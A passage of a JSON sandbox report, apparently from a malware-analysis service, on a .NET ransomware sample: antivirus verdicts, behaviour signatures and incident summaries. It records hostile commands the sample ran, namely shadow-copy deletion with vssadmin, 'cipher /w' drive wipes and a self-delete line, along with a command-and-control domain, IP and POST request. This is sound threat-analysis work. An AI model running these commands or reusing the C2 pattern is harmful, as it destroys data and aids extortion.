:LnkSapJ","3072:nkSapJy","3072:kSapJya","3072:SapJyay","3072:apJyaye","3072:pJyaye5","3072:Jyaye5W","3072:yaye5W3","3072:aye5W3v","3072:ye5W3v6","3072:e5W3v6q","3072:5W3v6qL","3072:W3v6qLd","3072:3v6qLdc","3072:v6qLdcW","3072:6qLdcWC","3072:qLdcWCL","3072:LdcWCLn","3072:dcWCLnZ","3072:cWCLnZg","3072:WCLnZg4","3072:CLnZg4w","3072:LnZg4w/","3072:nZg4w/W","3072:Zg4w/Wc","3072:g4w/Wc8","3072:4w/Wc8x","3072:w/Wc8x3","3072:/Wc8x3M","3072:Wc8x3MJ","3072:c8x3MJm","3072:8x3MJmj","3072:x3MJmjM","3072:3MJmjM8","3072:MJmjM8g","3072:JmjM8ga","3072:mjM8gaU","3072:jM8gaUD","3072:M8gaUDm","3072:8gaUDm+","3072:gaUDm+S","3072:aUDm+Su","3072:UDm+Su/","3072:Dm+Su/L","3072:m+Su/Lt","3072:+Su/Lt/","3072:Su/Lt/7","3072:u/Lt/7j","3072:/Lt/7jf","3072:Lt/7jfu","3072:t/7jfux","3072:/7jfux6","3072:7jfux6c","3072:jfux6c9","3072:fux6c9d","6144:nbWLnkS","6144:bWLnkSa","6144:WLnkSap","6144:LnkSapJ","6144:nkSapJy","6144:kSapJya","6144:SapJyay","6144:apJyaye","6144:pJyaye5","6144:Jyaye5W","6144:yaye5W3","6144:aye5W3v","6144:ye5W3v6","6144:e5W3v6q","6144:5W3v6qL","6144:W3v6qLd","6144:3v6qLdc","6144:v6qLdcW","6144:6qLdcWC","6144:qLdcWCL","6144:LdcWCLn","6144:dcWCLnZ","6144:cWCLnZg","6144:WCLnZg4","6144:CLnZg4w","6144:LnZg4w/","6144:nZg4w/W","6144:Zg4w/Wc","6144:g4w/Wc8","6144:4w/Wc8x","6144:w/Wc8x3","6144:/Wc8x3M","6144:Wc8x3MJ","6144:c8x3MJm","6144:8x3MJmj","6144:x3MJmjM","6144:3MJmjM8","6144:MJmjM8g","6144:JmjM8ga","6144:mjM8gaU","6144:jM8gaUD","6144:M8gaUDm","6144:8gaUDm+","6144:gaUDm+S","6144:aUDm+Su","6144:UDm+Su/","6144:Dm+Su/L","6144:m+Su/Lt","6144:+Su/Lt/","6144:Su/Lt/7","6144:u/Lt/7j","6144:/Lt/7jf","6144:Lt/7jfu","6144:t/7jfux","6144:/7jfux6","6144:7jfux6c","6144:jfux6c9","6144:fux6c9d","3072:bAk7Hme","3072:Ak7Hme5","3072:k7Hme5W","3072:7Hme5W3","3072:Hme5W3S","3072:me5W3S2","3072:e5W3S2d","3072:5W3S2dQ","3072:W3S2dQZ","3072:3S2dQZg","3072:S2dQZg4","3072:2dQZg4w","3072:dQZg4w/","3072:QZg4w/W","3072:JmjM8gU"],"imphash":"f34d5f2d4577ed6d9ceec516c1f5a744"},"file_info":{"file_name":"file","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":189680,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1499287002000,"last_seen":1677362092000,"last_multi_scan":1677362092000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["msil"]},"stats":{"av":{"malicious_count":16,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":15,"suspicious_count":15,"malicious_count":7,"total":37},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.BTSGeneric","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1202882","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.MSILPerseus.98383","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.MSILPerseus.98383 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of MSIL/Filecoder.GF trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Riskware ( 0040eff71 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan-Ransom.Win32.Agent.aant","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"Trojan-FMLA!235DBC5D1A2D","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Agent.enuhie","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Mal/MSIL-SY","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"Ransom_.803BB3BF","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"Ransom_.803BB3BF","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.StrictorCRTD.Win32.4933","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"MSILPerseus.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"\" queries volume information of \"%WINDIR%\\Microsoft.NET\\assembly\\GAC_32\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\mscorlib.dll\" at 00014170-00002236-0000010C-39602268\n \"\" queries volume information of \"C:\\2aa4c7708a49a6f1f462f96002dd2ce6fd27c7daf69647162116919b2df5abcd.exe\" at 00014170-00002236-0000010C-39605292\n \"update.exe\" queries volume information of \"%WINDIR%\\Microsoft.NET\\assembly\\GAC_32\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\mscorlib.dll\" at 00014346-00002700-0000010C-40123738\n \"update.exe\" queries volume information of \"%APPDATA%\\update.exe\" at 00014346-00002700-0000010C-40126868","origin":"API Call","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\UPDATE.EXE\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\UPDATE.EXE\")\n \"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")\n \"update.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")\n \"update.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")","origin":"Registry Access","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"iwantmyfiles.asia\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"185.109.163.70:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\MutexToEnsureThatOnlyASingleInstanceIsRunningAsAdmin\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex\"\n \"MutexToEnsureThatOnlyASingleInstanceIsRunningAsAdmin\"\n \"Local\\ZoneAttributeCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\RasPbFile\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"\" loaded module \"%WINDIR%\\Microsoft.NET\\assembly\\GAC_32\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\mscorlib.dll\" at 66C60000\n \"\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\d1265d6159ea876f9d63ea4c1361b587\\mscorlib.ni.dll\" at 69890000\n \"update.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\assembly\\GAC_32\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\mscorlib.dll\" at 688E0000\n \"update.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\d1265d6159ea876f9d63ea4c1361b587\\mscorlib.ni.dll\" at 69890000","origin":"Loaded Module","id":"module-3","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"/C choice /C Y /N /D Y /T 3 & Del C:\\2aa4c7708a49a6f1f462f96002dd2ce6fd27c7daf69647162116919b2df5abcd.exe\" on 2017-5-2.19:15:53.243\n \"vssadmin.exe delete shadows / ALL / Quiet\" on 2017-5-2.19:16:47.694\n \"cipher /w:C:\\\" on 2017-5-2.19:18:40.571\n \"cipher /w:D:\\\" on 2017-5-2.19:18:40.601\n \"cipher /w:Z:\\\" on 2017-5-2.19:18:40.631","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"update.exe\" (UID: 00014346-00002700)\n Spawned process \"cmd.exe\" with commandline \"/C choice /C Y /N /D Y /T 3 & Del C:\\2aa4c7708a49a6f1f462f96002dd2ce6fd27c7daf69647162116919b2df5abcd.exe\" (UID: 00014387-00002676)\n Spawned process \"choice.exe\" with commandline \"choice /C Y /N /D Y /T 3\" (UID: 00014407-00002796)\n Spawned process \"cmd.exe\" with commandline \"vssadmin.exe delete shadows / ALL / Quiet\" (UID: 00015830-00003600)\n Spawned process \"cmd.exe\" with commandline \"cipher /w:C:\\\" (UID: 00019113-00003076)\n Spawned process \"cmd.exe\" with commandline \"cipher /w:D:\\\" (UID: 00019117-00002784)\n Spawned process \"cmd.exe\" with commandline \"cipher /w:Z:\\\" (UID: 00019119-00002868)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$27","origin":"Certificate Data","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"informative","category":"Installation/Persistance","name":"Connects to LPC ports","description":"\"\" connecting to \"\\ThemeApiPort\"\n \"update.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"ibindresource.vcproj\" has type \"data\"\n \"Dll.cpp\" has type \"data\"\n \"Readme.txt\" has type \"data\"\n \"readme.txt\" has type \"data\"\n \"plgtermpin.cpp\" has type \"data\"\n \"attributes.cpp\" has type \"data\"\n \"HokZm0_2HRA[1].htm\" has type \"data\"\n \"ResourceFontContext.cpp\" has type \"data\"\n \"dev.htm\" has type \"data\"\n \"iframe[3].htm\" has type \"data\"\n \"dictionary.sonicwall\" has type \"data\"\n \"ipstat.vcproj\" has type \"data\"\n \"M2_28_113715_03[1].png\" has type \"data\"\n \"propldr.cpp\" has type \"data\"\n \"ctransaction.cpp\" has type \"data\"\n \"ManagedMetadataEdit.csproj\" has type \"data\"\n \"Resources.resx\" has type \"data\"\n \"push[3].htm\" has type \"data\"\n \"ReadMe.txt\" has type \"data\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$28","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$29","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"\" opened \"\\Device\\KsecDD\"\n \"update.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"2aa4c7708a49a6f1f462f96002dd2ce6fd27c7daf69647162116919b2df5abcd.exe.bin\" was detected as \"Microsoft visual C# / Basic .NET\"","origin":"Static Parser","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries kernel debugger information","description":"\"\" at 00014170-00002236-00000105-39896164\n \"update.exe\" at 00014346-00002700-00000105-40206392","origin":"API Call","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"\" is allocating memory with PAGE_GUARD access rights\n \"update.exe\" is allocating memory with PAGE_GUARD access rights","origin":"API Call","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":"0<\nw]8e with unusual entropies 7.99762993963","origin":"Static Parser","relevance":10,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a dropped file containing the Windows username (possible fingerprint attempt)","description":"$2a","origin":"Binary File","relevance":5,"id":"binary-19","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"update.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"update.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"suspicious","category":"General","name":"POSTs files to a webserver","description":"\"POST /r.php HTTP/1.1\nCookie: onion2web_confirmed=true\nContent-Type: application/x-www-form-urlencoded\nHost: iwantmyfiles.asia\nContent-Length: 3595\nExpect: 100-continue\nConnection: Keep-Alive\" with no payload","origin":"Network Traffic","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"suspicious","category":"General","name":"Reads configuration files","description":"\"\" read file \"%USERPROFILE%\\Desktop\\desktop.ini\"\n \"update.exe\" read file \"%USERPROFILE%\\Desktop\\desktop.ini\"","origin":"API Call","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Monitors specific registry key for changes","description":"\"update.exe\" monitors \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Tracing\\update_RASAPI32\" (Filter: 14; Subtree: 0)\n \"update.exe\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\Protocol_Catalog9\" (Filter: 1; Subtree: 0)\n \"update.exe\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\NameSpace_Catalog5\" (Filter: 1; Subtree: 0)\n \"update.exe\" monitors \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Tracing\\update_RASMANCS\" (Filter: 14; Subtree: 0)\n \"update.exe\" monitors \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\" (Filter: 4; Subtree: 1)\n \"update.exe\" monitors \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\" (Filter: 4; Subtree: 1)\n \"update.exe\" monitors \"\\REGISTRY\\MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" (Filter: 4; Subtree: 1)","origin":"API Call","relevance":4,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Opens the MountPointManager (often used to detect additional infection locations)","description":"\"update.exe\" opened \"MountPointManager\"","origin":"API Call","relevance":5,"id":"api-51","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"The input sample dropped very many files","description":"The input sample dropped 2000 files (often an indicator for ransomware)","origin":"Binary File","relevance":5,"id":"binary-10","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"update.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"update.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"update.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$2b","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"update.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"malicious","category":"External Systems","name":"Detected Emerging Threats Alert","description":"Detected alert \"ET POLICY Onion2Web Tor Proxy Cookie\" (SID: 2020324, Rev: 2, Severity: 1) categorized as \"Potential Corporate Privacy Violation\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-2","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"35/60 Antivirus vendors marked sample as malicious (58% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"35/60 Antivirus vendors marked sample as malicious (58% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"35/60 Antivirus vendors marked spawned process \"\" (PID: 2236) as malicious (classified as \"Trojan.Generic\" with 58% detection rate)\n 35/60 Antivirus vendors marked spawned process \"update.exe\" (PID: 2700) as malicious (classified as \"Trojan.Generic\" with 58% detection rate)","origin":"Monitored Target","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"malicious","category":"General","name":"The input sample is signed with an invalid certificate","description":"Error: Not implemented (0x80004001)","origin":"Certificate Data","relevance":10,"id":"certificate-1","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"malicious","category":"Ransomware/Banking","name":"The analysis extracted a known ransomware file","description":"Found dropped filename \"_ReadMe_.txt\" which has been seen in the context of ransomware (Indicator: README_.txt)\n Found dropped filename \"data.txt\" which has been seen in the context of ransomware (Indicator: a.txt)\n Found dropped filename \"dd_vcredistUI67CA.txt\" which has been seen in the context of ransomware (Indicator: a.txt)","origin":"Binary File","relevance":5,"id":"binary-9","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"Spawned process \"\" (UID: 00014170-00002236)\n Spawned process \"update.exe\" (UID: 00014346-00002700)\n Spawned process \"cmd.exe\" with commandline \"/C choice /C Y /N /D Y /T 3 & Del C:\\2aa4c7708a49a6f1f462f96002dd2ce6fd27c7daf69647162116919b2df5abcd.exe\" (UID: 00014387-00002676)\n Spawned process \"choice.exe\" with commandline \"choice /C Y /N /D Y /T 3\" (UID: 00014407-00002796)\n Spawned process \"cmd.exe\" with commandline \"vssadmin.exe delete shadows / ALL / Quiet\" (UID: 00015830-00003600)\n Spawned process \"cmd.exe\" with commandline \"cipher /w:C:\\\" (UID: 00019113-00003076)\n Spawned process \"cmd.exe\" with commandline \"cipher /w:D:\\\" (UID: 00019117-00002784)\n Spawned process \"cmd.exe\" with commandline \"cipher /w:Z:\\\" (UID: 00019119-00002868)","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]}],"incidents":[{"name":"Ransomware","details_count":1,"details":[{"detail":"The analysis extracted a known ransomware file"}],"sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"Spyware","details_count":1,"details":[{"detail":"POSTs files to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"Persistence","details_count":1,"details":[{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Found a dropped file containing the Windows username (possible fingerprint attempt)"},{"detail":"Reads the cryptographic machine GUID"},{"detail":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Opens the MountPointManager (often used to detect additional infection locations)"}],"sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 